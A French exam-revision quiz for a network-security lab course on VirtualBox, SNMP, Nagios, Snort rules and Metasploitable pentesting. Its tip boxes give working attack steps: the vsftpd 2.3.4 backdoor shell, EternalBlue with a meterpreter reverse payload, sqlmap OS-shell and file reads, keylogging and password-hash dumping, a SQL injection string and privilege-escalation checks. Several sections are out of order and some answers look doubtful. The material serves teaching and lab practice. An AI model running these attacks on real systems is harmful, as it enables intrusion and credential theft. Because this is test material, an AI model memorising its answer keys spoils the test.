CRITIQUE : La politique de réassemblage doit correspondre à l'OS cible !
Scénario d'attaque (Overlapping Fragments) : 1. Attaquant envoie Fragment1[offset=0] = "LEGAL_TRAFFIC" 2. Attaquant envoie Fragment2[offset=0] = "MALWARE_CODE" (même offset = chevauchement)
Réassemblage selon l'OS : - Linux / policy first : Garde Fragment1 → Voit "LEGAL_TRAFFIC" - Windows / policy last : Garde Fragment2 → Voit "MALWARE_CODE"
Si Snort a policy first mais la cible utilise policy last : → Snort analyse "LEGAL_TRAFFIC" (inoffensif) → Cible reçoit "MALWARE_CODE" (malveillant) → ÉVASION RÉUSSIE !
Configuration correcte : preprocessor frag3_engine :
policy linux Si vous protégez des Linux detect_anomalies
overlap_limit 0 BLOQUE tous les overlaps

Q67. Que détecte cette règle : alert ip any any -> any any (fragbits :M ; msg :"Fragment" ; sid :1000030 ;) ?

a) Tous les fragments
b) Dernier fragment
c) **Fragments avec More Fragments = 1 (pas le dernier)**
d) Fragments chevauchants

ASTUCE

Options fragbits : M = More Fragments flag D = Don't Fragment flag R = Reserved bit
Syntaxe : fragbits :M ; → MF=1 (fragment intermédiaire) fragbits : !M ; → MF=0 (dernier fragment OU paquet non fragmenté) fragbits :D ; → DF=1 (ne pas fragmenter) fragbits :M+D ; → Les deux flags (invalide normalement)
Règle détectant le premier fragment : alert ip any any -> any any (fragoffset :0 ; fragbits :M ; msg :"First fragment" ; sid :1000031 ;)
fragoffset :0 = Offset = 0 (début) fragbits :M = More fragments suivent

Q68. Comment créer un fragment IP manuel dans Scapy avec offset 185 ?

a) IP(offset=185)
b) **IP(frag=185, flags="MF")**
c) IP(fragment=185)
d) IP(id=185)

7 METASPLOITABLE & EXPLOITATION (30 QCM)

7.1 Reconnaissance

Q69. Quelle commande Nmap détecte les versions de services ?

a) nmap -sV
b) nmap -O
c) **nmap -sV -A** (version + OS + scripts)
d) nmap -p-

SECRET

Options Nmap essentielles : -sS : SYN scan (furtif, nécessite root) -sT : Connect scan (sans root) -sU : UDP scan -sV : Version des services -O : Détection OS -A : Aggressive (= -sV -O –script=default) -p- : Tous les ports (1-65535) -p 80,443 : Ports spécifiques –script vuln : Scripts de détection de vulnérabilités -Pn : Pas de ping (hôte considéré up)
Scan complet pro : nmap -sS -sV -O -p- –script vuln -oA scan_complet 192.168.122.50
-oA = Output All formats (normal, XML, grepable)

Q70. Sur Metasploitable 2, quel service sur port 21 contient une backdoor ?

a) proftpd
b) **vsftpd 2.3.4**
c) pure-ftpd
d) wu-ftpd

ASTUCE

Vulnérabilité vsftpd 2.3.4 (CVE-2011-2523) : - Type : Backdoor intentionnelle - Déclenchement : Username contenant " :)" - Résultat : Shell root sur port 6200
Exploitation manuelle : 1. telnet 192.168.122.50 21 2. USER hacker :) 3. PASS password 4. Backdoor s'ouvre sur port 6200 5. nc 192.168.122.50 6200 → Shell root
Dans Metasploit : use exploit/unix/ftp/vsftpd_234_backdoor set RHOSTS 192.168.122.50 exploit
INSTANTANÉ. Pas de buffer overflow compliqué, c'est une backdoor volontaire du mainteneur compromis.

Q71. Quelle commande Metasploit cherche un exploit pour "samba" ?

a) find samba
b) **search samba**
c) locate samba
d) grep samba

Q72. Dans msfconsole, que fait "set RHOSTS 192.168.122.50" ?

a) Définit l'IP locale
b) **Définit la cible de l'exploit (Remote Host)**
c) Définit le port
d) Lance l'exploit

ERREUR

Confusion fréquente : RHOSTS = Remote Host (cible) LHOST = Local Host (votre IP, pour reverse shell) RPORT = Remote Port (port ciblé) LPORT = Local Port (écoute pour reverse shell)
Exemple complet : use exploit/windows/smb/ms17_010_eternalblue set RHOSTS 192.168.122.100 Windows 7 vulnérable set LHOST 192.168.122.10 Votre Kali set PAYLOAD windows/x64/meterpreter/reverse_tcp exploit
Le reverse shell reviendra vers 192.168.122.10 (votre machine).

Q73. Après un exploit réussi, quel type de session Metasploit offre le plus de fonctionnalités ?

a) shell
b) **meterpreter**
c) cmd
d) bind

SECRET

Comparaison Shell vs Meterpreter :
Shell basique (shell) : - Juste un /bin/bash ou cmd.exe - Commandes : ls, cd, cat... - Pas de fonctions avancées - Détecté facilement par antivirus
Meterpreter (agent avancé) : - Tourne en mémoire (pas de fichier sur disque) - Commandes puissantes : * screenshot : Capture d'écran * webcam_snap : Photo webcam * keyscan_start : Keylogger * hashdump : Dump des hash SAM (Windows) * getsystem : Élévation SYSTEM * migrate : Migrer vers un autre processus * portfwd : Port forwarding - Chiffré (SSL/TLS) - Détection difficile
Commandes Meterpreter indispensables : sysinfo Info système getuid Utilisateur actuel ps Liste processus migrate <PID> Migrer vers explorer.exe (stabilité) hashdump Voler les mots de passe Windows

7.2 Exploitation Web

Q74. Quel outil scan les vulnérabilités web ?

a) nmap
b) **nikto**
c) wireshark
d) hydra

Q75. Que fait : sqlmap -u "http ://target/page.php ?id=1" –dbs ?

a) Teste la connexion
b) **Liste toutes les bases de données via injection SQL**
c) Dump la base "dbs"
d) Scan les ports

ASTUCE

Workflow SQLMap complet : 1. Tester la vulnérabilité : sqlmap -u "http ://site/-news.php ?id=1"
2. Lister les bases : sqlmap -u "http ://site/news.php ?id=1" –dbs
3. Lister les tables d'une base : sqlmap -u "http ://site/news.php ?id=1" -D webapp –tables
4. Dumper une table : sqlmap -u "http ://site/news.php ?id=1" -D webapp -T users –dump
5. Dumper tout : sqlmap -u "http ://site/news.php ?id=1" -D webapp –dump-all
Options puissantes : –os-shell Obtenir un shell OS –file-read=/etc/passwd Lire des fichiers –batch Mode automatique (répond "oui" à tout) –threads=10 10 threads parallèles

Q76. Que découvre : gobuster dir -u http ://target -w /usr/share/wordlists/dirb/common.txt ?

a) Les sous-domaines
b) **Les répertoires et fichiers cachés**
c) Les ports ouverts
d) Les utilisateurs

Q77. Quelle vulnérabilité web permet d'exécuter des commandes système ?

a) XSS
b) CSRF
c) SQLi
d) **RCE (Remote Code Execution)**

SECRET

Top vulnérabilités web (OWASP Top 10) : 1. Injection (SQL, OS command, LDAP...) 2. Broken Authentication 3. Sensitive Data Exposure 4. XML External Entities (XXE) 5. Broken Access Control 6. Security Misconfiguration 7. XSS (Cross-Site Scripting) 8. Insecure Deserialization 9. Using Components with Known Vulnerabilities 10. Insufficient Logging Monitoring
Sur Metasploitable : - Mutillidae : Toutes les vulns OWASP (XSS, SQLi, RCE...) - DVWA : Niveaux de difficulté (low/medium/high) - WebDAV : Upload de shells - PHPMyAdmin : Accès base de données
Test rapide SQLi : Page : http ://metasploitable/mutillidae/index.php ?page=user-info.php Test : ' OR '1'='1 Si ça marche : Liste tous les users

7.3 Post-Exploitation

Q78. Après avoir obtenu un shell, quelle commande liste les utilisateurs Linux ?

a) ls /home
b) **cat /etc/passwd**
c) whoami
d) users

Q79. Comment élever ses privilèges avec un exploit local ?

a) sudo su

b) **Exploiter une vulnérabilité kernel (dirty cow, etc.)**
c) chmod +x /bin/bash
d) rm -rf /

ASTUCE

Élévation de privilèges Linux (Privilege Escalation) : 1. Enum basique : id Voir vos groupes sudo -l Commandes sudo autorisées uname -a Version kernel
2. Chercher exploits kernel : searchsploit linux kernel 2.6.24 Version de Metasploitable
3. Dirty Cow (CVE-2016-5195) : - Fonctionne sur Linux 2.6.22 < 4.8.3 - Exploitation en quelques secondes - Donne root
4. SUID binaries : find / -perm -4000 2>/dev/null Chercher binaires inhabituels avec SUID
5. Cron jobs : cat /etc/crontab Script exécuté en root modifiable ?
6. Mot de passe faible : su root Essayer : password, toor, root, metasploitable
Sur Metasploitable, "msfadmin :msfadmin" est root via sudo !

Q80. Dans un pentest, quelle phase vient après l'exploitation ?

a) Reconnaissance
b) Scanning
c) **Post-exploitation et maintien d'accès**
d) Reporting

Q119. OID pour la charge système (load average) Linux ?

a) **1.3.6.1.4.1.2021.10.1.3.1** (load 1min)
b) 1.3.6.1.2.1.25.3.3.1.2
c) 1.3.6.1.2.1.1.3.0
d) 1.3.6.1.4.1.2021.11.9.0

Q120. Que contient la MIB IF-MIB ?

a) Informations CPU
b) **Informations sur les interfaces réseau**
c) Informations disque
d) Informations processus

Q121. Activer SNMP sur Cisco IOS ?

a) enable snmp
b) **snmp-server community public RO**
c) snmp enable public
d) service snmp start

Q122. Limiter accès SNMP à une IP spécifique dans snmpd.conf ?

a) rocommunity public
b) **rocommunity public 192.168.1.100**
c) rocommunity public -source 192.168.1.100
d) acl 192.168.1.100 public

Q123. OID pour temps depuis dernier boot (sysUpTime) ?

a) 1.3.6.1.2.1.1.1.0
b) **1.3.6.1.2.1.1.3.0**

c) 1.3.6.1.2.1.1.5.0
d) 1.3.6.1.2.1.25.1.1.0

Q124. Format de l'OID sysUpTime ?

a) Secondes
b) Minutes
c) **Centièmes de seconde (timeticks)**
d) Millisecondes

Q125. Surveiller température CPU via SNMP (si supporté) ?

a) snmpget CPU-TEMP.0
b) **snmpwalk lmSensors (1.3.6.1.4.1.2021.13.16)**
c) snmpget temperature.0
d) Impossible via SNMP

8 SNORT AVANCÉ - RÈGLES ET DÉTECTION (Q126-Q150)

Q126. Quelle option Snort détecte un pattern hexadécimal ?

a) hex :
b) **content :"|XX XX XX|" ;** (pipe pour hexa)
c) pattern :0xXX
d) hexa :

Q127. Détecter requête HTTP GET /admin ?

a) alert tcp any any -> any 80 (content :"GET /admin" ;)
b) **alert tcp any any -> any 80 (flow :to_server ; content :"GET" ; content :"/admin" ; http_uri ;)**
c) alert tcp any 80 -> any any (msg :"GET /admin" ;)
d) alert http any any -> any any (url :"/admin" ;)

Q128. Option Snort pour ignorer la casse ?

a) content :"text" ; case-insensitive ;
b) **content :"text" ; nocase ;**
c) content :"TEXT|text" ;
d) ignore_case :true ;

Q129. Détecter paquet avec TTL < 10 (traceroute/manipulation) ?

a) alert ip any any -> any any (ttl :10 ;)
b) **alert ip any any -> any any (ttl :<10 ;)**
c) alert ip any any -> any any (ip_ttl<10 ;)
d) alert ip ttl<10 ;

Q130. Que fait "depth :10" après content ?

a) Cherche dans les 10 derniers octets
b) **Cherche dans les 10 premiers octets du payload**
c) Cherche à 10 octets de profondeur
d) Limite à 10 résultats

Q131. Règle pour détecter Shellcode (NOP sled) ?

a) content :"NOP" ;
b) **content :"|90 90 90 90 90 90|" ; msg :"NOP sled detected" ;**
c) content :"
x90
x90
x90" ;
d) pattern :shellcode ;

Q132. Option pour détecter payload vide ?

a) content :"" ;
b) payload :0 ;
c) **dsize :0 ;**
d) empty_payload ;

Q133. Détecter scan Xmas (FIN+PSH+URG) ?

a) flags :FPU ;
b) **flags :FPU ; msg :"Xmas scan" ;**
c) flags :* ;
d) flags :XMas ;

Q134. Que fait "offset :10" ?

a) Cherche après offset IP
b) **Commence recherche à 10 octets du début du payload**
c) Offset de fragmentation
d) Timeout de 10 secondes

Q135. Détecter ping de taille anormale (> 1000 octets) ?

a) alert icmp any any -> any any (itype :8 ; size :>1000 ;)
b) **alert icmp any any -> any any (itype :8 ; dsize :>1000 ;)**
c) alert icmp any any -> any any (icmp_type :8 ; length>1000 ;)
d) alert icmp size>1000 ;

Q136. Option pour référencer un CVE dans une règle ?

a) cve :2021-12345 ;
b) **reference :cve,2021-12345 ;**
c) reference :CVE-2021-12345 ;
d) metadata :cve=2021-12345 ;

Q137. Détecter User-Agent spécifique (bot/scanner) ?

a) content :"User-Agent : nikto" ;
b) **content :"User-Agent|3A 20|nikto" ; http_header ;**
c) content :"User-Agent" ; content :"nikto" ;
d) http_user_agent :nikto ;

Q138. Que fait "pcre :/pattern/i" ?

a) Perl regex, /i = inverse
b) **Perl regex, /i = case insensitive**
c) Python regex
d) Pattern IP

Q139. Détecter SQL injection (union select) ?

a) content :"union" ; content :"select" ;
b) **pcre :"/union.+select/i" ; http_uri ;**
c) content :"UNION SELECT" ; nocase ;
d) sqlinjection :true ;

Q140. Option pour détecter plusieurs patterns dans l'ordre ?

a) content :"A" ; then content :"B" ;
b) **content :"A" ; content :"B" ; distance :0 ; within :100 ;**
c) content :"A" AND content :"B" ;
d) sequence :A,B ;

Q141. Détecter base64 encodé ?

a) content :base64 ;
b) **pcre :"/[A-Za-z0-9+]40,/" ; base64_decode ;**
c) decode :base64 ;

d) encoding :base64 ;

Q142. Que fait "flowbits :set,attacked" ?

a) Définit un flag réseau

b) **Marque la session avec le bit "attacked" pour règles suivantes**

c) Envoie un flag au serveur

d) Compte les attaques

Q143. Détecter réponse HTTP 200 OK ?

a) alert tcp any 80 -> any any (content :"200 OK" ;)

b) **alert tcp any 80 -> any any (flow :from_server ; content :"200" ; http_stat_code ;)**

c) alert http response :200 ;

d) alert tcp any any -> any 80 (code :200 ;)

Q144. Quelle action "reject" fait-elle ?

a) Ignore le paquet

b) Log seulement

c) **Bloque ET envoie TCP RST ou ICMP unreachable**

d) Redirige vers honeypot

Q145. Détecter DNS query vers domaine malveillant ?

a) alert udp any any -> any 53 (content :"evil.com" ;)

b) **alert udp any any -> any 53 (content :"|07|evilcom|00|" ; offset :12 ;)**

c) alert dns query :evil.com ;

d) alert udp any 53 (domain :"evil.com" ;)

Q146. Option pour détecter taille totale du paquet ?

a) size :

b) packet_length :

c) **dsize :** (payload) + ip_len : (total)

d) length :

Q147. Détecter SMB EternalBlue (MS17-010) ?

a) alert tcp any any -> any 445 (content :"EternalBlue" ;)

b) **alert tcp any any -> any 445 (content :"|FF|SMB" ; content :"|2F 00 00|" ; distance :0 ;)**

c) alert smb exploit :ms17-010 ;

d) alert tcp any 445 (vulnerability :eternalblue ;)

Q148. Que fait "session :printable" ?

a) Affiche la session

b) **Extrait seulement les caractères imprimables du payload**

c) Imprime les paquets

d) Log la session

Q149. Détecter TLS/SSL handshake ?

a) alert tcp any any -> any 443 (content :"SSL" ;)

b) **alert tcp any any -> any 443 (content :"|16 03|" ; depth :2 ;)**

c) alert ssl handshake ;

d) alert tls any any -> any any ;

Q150. Option pour référencer Bugtraq ID ?

a) bugtraq :12345 ;

b) **reference :bugtraq,12345 ;**

c) reference :BID-12345 ;

d) bid :12345 ;

9 METASPLOITABLE - EXPLOITATION AVANCÉE (Q151-Q170)

Q151. Port par défaut de distcc (backdoor Metasploitable) ?

a) 3632
b) **3632**
c) 6200
d) 1524

Q152. Exploit Metasploit pour Samba 3.0.20 ?

a) exploit/linux/samba/lsa_transnames_heap
b) **exploit/multi/samba/usermap_script**
c) exploit/unix/smb/samba_overflow
d) exploit/windows/smb/ms08_067

Q153. Service vulnérable sur port 139/445 Metasploitable ?

a) FTP
b) SSH
c) **Samba (SMB)**
d) HTTP

Q154. Port de la backdoor Ingreslock ?

a) 1234
b) **1524**
c) 6200
d) 31337

Q155. Service vulnérable sur port 5432 ?

a) MySQL
b) **PostgreSQL**
c) MongoDB
d) Oracle

Q156. Exploit PostgreSQL sur Metasploitable ?

a) postgres_sqli
b) **exploit/linux/postgres/postgres_payload**
c) exploit/multi/postgres/auth_bypass
d) postgres_overflow

Q157. Service Java RMI sur Metasploitable (port 1099) ?

a) Tomcat
b) **Java RMI Registry**
c) JBoss
d) WebLogic

Q158. Mot de passe par défaut compte msfadmin ?

a) admin
b) password
c) **msfadmin**
d) root

Q159. Port Tomcat sur Metasploitable ?

a) 80
b) 443
c) **8180**
d) 8080

Q160. Credentials Tomcat par défaut Metasploitable ?

a) admin :admin
b) **tomcat :tomcat**
c) root :toor
d) manager :manager

Q161. Exploiter Tomcat via Metasploit ?

a) exploit/multi/http/tomcat_mgr_upload
b) **exploit/multi/http/tomcat_mgr_deploy**
c) exploit/linux/tomcat/upload_war
d) exploit/windows/tomcat/manager

Q162. Service UnrealIRCd (IRC) port ?

a) **6667**
b) 6666
c) 6697
d) 194

Q163. Vulnérabilité UnrealIRCd 3.2.8.1 ?

a) Buffer overflow
b) **Backdoor dans le code source**
c) SQL injection
d) XSS

Q164. Commande pour lister les exploits disponibles dans msfconsole ?

a) list exploits
b) **search type :exploit**
c) show exploits
d) exploits -l

Q165. Voir les options d'un exploit Metasploit ?

a) options
b) **show options**
c) show settings
d) get options

Q166. Lister les payloads compatibles avec exploit actuel ?

a) show payloads
b) **show payloads**
c) list payloads
d) get payloads

Q167. Payload Meterpreter reverse TCP Linux ?

a) linux/reverse_tcp
b) **linux/x86/meterpreter/reverse_tcp**

c) linux/meterpreter_reverse_tcp
d) payload/linux/meterpreter

Q168. Mettre en background une session Meterpreter ?

a) exit
b) quit
c) **background** ou Ctrl+Z
d) bg

Q169. Lister les sessions actives ?

a) **sessions -l**
b) show sessions
c) list sessions
d) get sessions

Q170. Revenir à une session Meterpreter ?

a) connect 1
b) **sessions -i 1**
c) attach 1
d) resume 1

10 VIRTUALBOX & RÉSEAU AVANCÉ (Q171-Q185)

Q171. Différence entre adaptateur 1 et adaptateur 2 sur une VM ?

a) Priorité réseau
b) **Peuvent avoir des modes réseau différents (ex : NAT + Host-Only)**
c) Vitesse différente
d) Aucune

Q172. Cloner une VM avec nouvelle MAC ?

a) Copier le fichier VDI
b) **Clone complet + réinitialiser adresse MAC**
c) Dupliquer le dossier
d) Export/Import

Q173. Snapshot VirtualBox permet :

a) Accélérer la VM
b) **Sauvegarder l'état et revenir en arrière**
c) Cloner la VM
d) Partager la VM

Q174. Port forwarding en mode NAT : mapper port 2222 hôte vers 22 VM ?

a) Paramètres → Port forwarding → 2222 :22
b) **Réseau → Avancé → Redirection de ports → TCP 2222 → 10.0.2.15 :22**
c) NAT → Forward 2222 to 22
d) Network → Map 2222 :22

Q175. Activer le presse-papier bidirectionnel ?

a) Fichier → Préférences
b) **Périphériques → Presse-papier partagé → Bidirectionnel**
c) Configuration → Clipboard
d) Impossible

Q176. Augmenter RAM d'une VM en cours d'exécution ?

a) **Impossible, doit arrêter la VM**
b) Possible si Guest Additions installés
c) Configuration → RAM → Augmenter
d) Ctrl+R pour modifier

Q177. Guest Additions VirtualBox permettent :

a) Accélérer le CPU
b) **Dossiers partagés, meilleure résolution, drag&drop**
c) Accès Internet
d) Snapshots automatiques

Q178. Partager un dossier hôte avec VM ?

a) Copier-coller
b) **Configuration → Dossiers partagés → Ajouter dossier**
c) Réseau → Share folder
d) Impossible

Q179. Accéder au dossier partagé dans VM Linux ?

a) /shared
b) /mnt/vboxshare
c) **/media/sf_nomDossier** (après ajout user au groupe vboxsf)
d) /home/shared

Q180. Format de disque natif VirtualBox ?

a) VMDK
b) VHD
c) **VDI**
d) QCOW2

Q181. Différence disque dynamique vs taille fixe ?

a) Aucune
b) Fixe plus rapide
c) **Dynamique grandit selon besoin, fixe prend tout l'espace immédiatement**
d) Dynamique plus rapide

Q182. Commande pour créer VM en ligne de commande ?

a) vboxcreate
b) **VBoxManage createvm –name "MaVM" –register**
c) virtualbox -create MaVM
d) vbox-create-vm MaVM

Q183. Lister toutes les VMs avec VBoxManage ?

a) VBoxManage list
b) **VBoxManage list vms**
c) VBoxManage show vms
d) vboxlist

Q184. Démarrer VM en mode headless (sans GUI) ?

a) VBoxManage startvm MaVM –nogui
b) **VBoxManage startvm MaVM –type headless**
c) vboxheadless -startvm MaVM
d) VBoxManage start MaVM –background

Q185. Exporter une VM en format OVA ?

a) Fichier → Sauvegarder
b) **Fichier → Exporter l'appareil virtuel**
c) Machine → Export
d) VBoxManage export

11 QUESTIONS DE SYNTHÈSE FINALE (Q186-Q200)

Q186. Dans un lab de test, ordre logique de configuration ?

a) Metasploitable → Kali → Snort
b) **VMs réseau → Snort IDS → Attaques Kali → Analyse**
c) Nagios → SNMP → VirtualBox
d) Random

Q187. Meilleur mode réseau pour lab sécurité isolé ?

a) NAT
b) Pont
c) **Host-Only**
d) Réseau interne

Q188. Pour monitorer Metasploitable avec Nagios, installer sur :

a) Metasploitable
b) **VM séparée (Nagios server)**
c) Kali
d) Hôte

Q189. Snort doit être installé sur :

a) L'attaquant
b) **Une VM avec promiscuous mode pour voir tout le trafic**
c) Chaque VM
d) Le routeur

Q190. SNMP est utile pour :

a) Détecter les intrusions
b) Exploiter des vulnérabilités
c) **Superviser l'état des machines (CPU, RAM, réseau)**
d) Scanner les ports

Q191. Pour un pentest complet Metasploitable, ordre des outils ?

a) Metasploit → Nmap → Nikto
b) **Nmap → Nikto/dirb → Metasploit → Post-exploit**
c) Snort → Nmap → Hydra
d) Hydra → SQLMap → Nmap

Q192. Quelle attaque Snort NE PEUT PAS détecter ?

a) Scan de ports
b) ARP spoofing
c) **Attaque hors réseau (ingénierie sociale)**
d) Buffer overflow

Q193. Nagios peut monitorer :

a) Seulement Linux
b) Seulement Windows
c) **Linux, Windows, routeurs, switches avec plugins appropriés**
d) Seulement serveurs web

Q194. Différence fondamentale IDS vs IPS ?

a) IDS plus rapide
b) **IDS détecte (passif), IPS bloque (actif)**
c) IPS plus cher
d) Aucune

Q195. Snort en mode IPS nécessite :

a) Mode bridge/inline
b) iptables integration
c) **Mode inline + règles "drop/reject"**
d) Impossible

Q196. Log Snort par défaut ?

a) /var/log/snort.log
b) **/var/log/snort/alert**
c) /etc/snort/logs/
d) /tmp/snort.log

Q197. Format de log Snort le plus lisible ?

a) binary
b) pcap
c) **-A console (alert fast)**
d) syslog

Q198. Analyser pcap avec Snort ?

a) snort -open capture.pcap
b) **snort -r capture.pcap -c snort.conf**
c) snort -pcap capture.pcap
d) snort –read capture.pcap

Q199. Combiner Snort + Nagios + SNMP pour :

a) Remplacer un firewall
b) **Monitoring complet : état système (SNMP) + services (Nagios) + sécurité (Snort)**
c) Accélérer le réseau
d) Crypter les communications

Q200. Meilleure pratique pour lab sécurité ?

a) Tout connecter à Internet
b) **Réseau isolé (Host-Only), snapshots avant tests, documentation de chaque action**
c) Pas de firewall pour voir toutes les attaques
d) Une seule VM suffit

SECRET

RÉCAPITULATIF COMPLET - Les 5 piliers pour 22/20 :
1. VirtualBox : Modes réseau, Host-Only pour isolation, pont pour simulation réelle 2. SNMP : v3 avec AES, OIDs critiques par cœur, rocommunity vs rwcommunity 3. Nagios : Architecture (bin/etc/libexec/var), états SOFT/HARD, macros $HOSTADDRESS$ 4. Snort : Préprocesseurs (frag3, sfPortscan, arpspoof), règles avec flow/content/threshold 5. Metasploitable : Reconnaissance (nmap) → Exploitation (msfconsole) → Post-exploit (meterpreter)
ERREURS À NE JAMAIS FAIRE : - NAT pour communication inter-VM (faux !) - rwcommunity "public" en production (catastrophique !) - Oublier .0 dans les OIDs SNMP - Règles Snort sans flow : (faux positifs) - Redémarrer Nagios sans nagios -v (panne totale !) - Snort sans frag3 (évasion facile) - htpasswd -c pour ajouter users (écrase tout !)

ERREUR

PIÈGES CLASSIQUES DES CERTIFICATIONS : 1. "any" vs "$HOME_NET" : any = TOUT, $HOME_NET = réseau défini 2. Policy first vs last dans frag3 : DOIT correspondre à l'OS cible 3. RODC = lecture seule, pas de modif AD possible 4. Kerberos port 88, pas 80 ni 443 5. snmpget vs snmpwalk : get = UNE valeur, walk = TOUTE l'arborescence 6. Meterpreter > shell : fonctions avancées, furtivité 7. check_interval vs retry_interval : OK vs problème 8. Flags TCP S = SYN uniquement, SA = SYN+ACK 9. threshold type threshold = alerte 1 fois, limit = X fois max 10. Promiscuous mode OBLIGATOIRE pour IDS en monitoring passif

ASTUCE

MÉTHODE D'APPRENTISSAGE GARANTIE 22/20 :
Phase 1 - Compréhension (3 jours) : - Lire TOUS les QCM + explications - Faire schémas des architectures - Tester CHAQUE commande sur vos VMs
Phase 2 - Pratique (4 jours) : - Recréer les TPs de zéro sans guide - Casser volontairement, réparer - Documenter vos erreurs
Phase 3 - Maîtrise (3 jours) : - QCM blancs en conditions réelles - Expliquer chaque concept à voix haute - Créer vos propres questions
Phase 4 - Révision (1 jour) : - Relire les boxes SECRET/WARNING - Refaire les questions ratées - Dormir 8h avant l'examen !
ASTUCE PRO : Le jour J, si vous hésitez : 1. Éliminez les réponses absurdes 2. Cherchez les mots-clés (exact, TOUJOURS, JAMAIS) 3. Les réponses très longues sont souvent justes 4. En cas de doute, choisissez la plus précise/complète

12 ANNEXE A - COMMANDES ESSENTIELLES

12.1 VirtualBox CLI

```
VBoxManage list vms
VBoxManage startvm <nom> --type headless
VBoxManage controlvm <nom> poweroff
VBoxManage snapshot <nom> take "nom_snapshot"
VBoxManage modifyvm <nom> --memory 2048
VBoxManage modifyvm <nom> --nic1 hostonly --hostonlyadapter1 vboxnet0
```

12.2 SNMP

```
snmpget -v2c -c public <IP> sysName.0
snmpwalk -v2c -c public <IP> system
snmpset -v2c -c private <IP> sysLocation.0 s "Datacenter"
snmpbulkwalk -v2c -c public <IP> ifTable
snmpwalk -v3 -l authPriv -u user1 -a SHA -A authpass -x AES -X privpass <IP>
```

12.3 Nagios

```
nagios -v /usr/local/nagios/etc/nagios.cfg
systemctl restart nagios
/usr/local/nagios/libexec/check_ping -H 8.8.8.8 -w 100,20% -c 500,60%
/usr/local/nagios/libexec/check_http -H example.com -p 443 -S
nagiostats -c /usr/local/nagios/etc/nagios.cfg
```

12.4 Snort

```
snort -T -c /etc/snort/snort.conf
snort -A console -q -c /etc/snort/snort.conf -i eth0
snort -r capture.pcap -c /etc/snort/snort.conf
snort -A fast -b -l /var/log/snort -c /etc/snort/snort.conf -i eth0
```

12.5 Nmap

```
nmap -sS -sV -O <IP>
nmap -p- -T4 <IP>
nmap --script vuln <IP>
nmap -sU -p 161,162 <IP>
nmap -A -oA scan_complet <IP>
```

12.6 Metasploit

```
msfconsole
search vsftpd
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS <IP>
exploit
```

```
sessions -l
sessions -i 1
```

12.7 Réseau

```
ip a
ip addr add 192.168.1.100/24 dev eth0
ip link set eth0 up
ip route add default via 192.168.1.1
ping -c 4 <IP>
traceroute <IP>
tcpdump -i eth0 -nn -X
```

13 ANNEXE B - PORTS ESSENTIELS

Port	Protocole	Service
21	TCP	FTP
22	TCP	SSH
23	TCP	Telnet
25	TCP	SMTP
53	TCP/UDP	DNS
80	TCP	HTTP
88	TCP/UDP	Kerberos
110	TCP	POP3
139	TCP	NetBIOS
143	TCP	IMAP
161	UDP	SNMP (requêtes)
162	UDP	SNMP (traps)
389	TCP	LDAP
443	TCP	HTTPS
445	TCP	SMB
3306	TCP	MySQL
3389	TCP	RDP
5432	TCP	PostgreSQL
5666	TCP	NRPE (Nagios)
6667	TCP	IRC
8080	TCP	HTTP alternatif

14 ANNEXE C - OIDs SNMP CRITIQUES

OID	Description
1.3.6.1.2.1.1.1.0	sysDescr (description système)
1.3.6.1.2.1.1.3.0	sysUpTime (temps depuis boot)
1.3.6.1.2.1.1.5.0	sysName (nom machine)
1.3.6.1.2.1.1.6.0	sysLocation (localisation)
1.3.6.1.2.1.1.4.0	sysContact (contact admin)
1.3.6.1.4.1.2021.4.5.0	memTotalReal (RAM totale)
1.3.6.1.4.1.2021.4.6.0	memAvailReal (RAM dispo)
1.3.6.1.4.1.2021.11.9.0	ssCpuIdle (CPU idle %)
1.3.6.1.4.1.2021.10.1.3.1	laLoad 1min
1.3.6.1.2.1.25.2.3.1.6	hrStorageUsed (usage disque)

15 CONCLUSION

Ce document de 200 QCM couvre l'intégralité des connaissances nécessaires pour maîtriser : - VirtualBox et configuration réseau - SNMP (v2c et v3) - Nagios Core - Snort IDS - Metasploitable et exploitation

Avec ces QCM, leurs explications détaillées, les secrets de pro, les erreurs à éviter et les astuces, vous disposez de tout pour obtenir 22/20 minimum.

Derniers conseils du Prof. Pangui :

Ne cherchez pas à mémoriser bêtement. COMPRENEZ les concepts. Un étudiant qui comprend pourquoi frag3 est nécessaire ne l'oubliera jamais. Un étudiant qui mémorise "frag3 = important" l'oubliera en 3 jours.

Pratiquez sur VMs. Cassez tout. Réparez. C'est comme ça qu'on apprend vraiment.

La sécurité réseau, ce n'est pas que de la théorie. C'est de la pratique, de l'expérience, des échecs, et des réussites.

Bon courage !

16 QUESTIONS AVANCÉES - CERTIFICATIONS (40 QCM)

16.1 Active Directory & Kerberos

Q81. Dans Active Directory, quel type de contrôleur permet la restauration rapide d'une forêt ?

a) Contrôleur de domaine standard
b) **Contrôleur de domaine en lecture seule (RODC)**
c) Contrôleur de catalogue global
d) Contrôleur d'opérations maître

SECRET

RODC (Read-Only Domain Controller) : - Contient une copie LECTURE SEULE de l'AD - Déployé dans sites distants peu sécurisés - Si compromis : Pas de modification possible de l'AD - Cache seulement les mots de passe autorisés - Ne réplique PAS vers d'autres DC
Avantages sécurité : 1. Site distant compromis → AD principal safe 2. Mots de passe sensibles (admins) jamais cachés 3. Filtrage de réplication précis
Configuration : Install-WindowsFeature -Name AD-Domain-Services Install-ADDSDomainController -DomainName corp.local -ReadOnlyReplica

Q82. Le protocole EAP-TLS nécessite :

a) Une clé pré-partagée (PSK)
b) **Un certificat client ET un certificat serveur**
c) Une authentification par mot de passe uniquement
d) Une clé privée serveur uniquement

ASTUCE

Protocoles 802.1X / EAP (Authentification WiFi/Ethernet) : EAP-TLS (Transport Layer Security) : Le plus sécurisé Authentification mutuelle par certificats Pas de mot de passe Complexe (PKI nécessaire)
PEAP-MSCHAPv2 : Certificat serveur uniquement Mot de passe utilisateur Vulnérable (hash MSCHAPv2 cassable)
EAP-TTLS : Tunnel chiffré Support PAP, CHAP, MSCHAPv2 Plus flexible
Configuration RADIUS (FreeRADIUS) : eap tls private_key_file = /etc/raddb/-certs/server.key certificate_file = /etc/raddb/certs/server.pem ca_file = /etc/-raddb/certs/ca.pem

Q83. Quelle règle Snort détecte une tentative SSH brute-force ?

a) alert tcp any any -> any 22 (content :"SSH" ;)
b) alert tcp any any -> any 22 (flow :to_server,established ; content :"Failed password" ;)
c) **alert tcp any any -> any 22 (flow :to_server ; content :"Failed password" ; threshold :type threshold, track by_dst, count 5, seconds 300 ;)**
d) alert udp any any -> any 22 (msg :"UDP SSH traffic detected" ;)

Q84. Dans SNMP, quel est l'objectif du Trap ?

a) Permettre un transfert de fichiers entre l'agent et le gestionnaire
